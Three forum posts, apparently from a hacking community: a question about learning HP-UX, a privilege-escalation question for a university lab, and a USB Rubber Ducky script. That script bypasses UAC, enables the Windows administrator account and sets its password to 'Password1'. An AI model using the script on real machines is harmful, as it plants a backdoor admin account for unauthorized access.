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  1. Hi all, I'm interested in going down the route of Unix Administrator, in particular HP-UX. I'm semi-decent in Linux anyway, having used Kali / Debian lots. I also work in IT so have good general knowledge I've purchased myself Essential System Administration: Tools and Techniques for Linux and Unix Administration and HP Certified Systems Administrator - 11i V3, 3rd Edition for study. Any other tips for learning Unix Administration? I'd love to get my hands on a practice HP-UX environment that I can use from home, but I haven't had any luck in finding one. Does anyone know of a practice environment for HP-UX or similar that I can use to teach myself the everyday workload of a Unix Admin? Thanks.
  2. Hello everyone, I am new to the USB Rubber Ducky and today I made my first script. It is pretty simle, but it works. This script will open a powershell with administratior privleges after bypassing UAC, then it will activate the build-in administrator account and change the password to Password1. If anyone has any changes that would make this better, please share. REM Author securityoverride, with code based off of Hak5Darren REM Creation Date 5-26-15 REM This script will activate the default admin account and change the password REM ***Bypass UAC*** DELAY 2000 WINDOWS r DELAY 500 STRING powershell Start-process cmd.exe -Verb runAs ENTER DELAY 1000 ALT y DELAY 500 REM ***Activate the default admin account*** STRING net user administrator /active:yes ENTER DELAY 500 REM ***Change the default admin password to "Password1"*** STRING net user administrator Password1 ENTER DELAY 500 REM ***GTFO*** STRING exit ENTER
  3. Hi there. I've been given an assignment at university to get into the administrator profile and leave a text file on the desktop to prove I was there. I have a list of users but all attempts to crack passwords has been unfruitful. I've been given a very restricted guest account so I am attempting to upgrade to another account to hopefully gain more info about the system. I am looking for advice about where to go from here/upgrade my guest account/get into a very difficult admin account. I'd also like to say that this is completely legal as I have been given this task from the university and it's over virtual machines. (Kali linux to XP).
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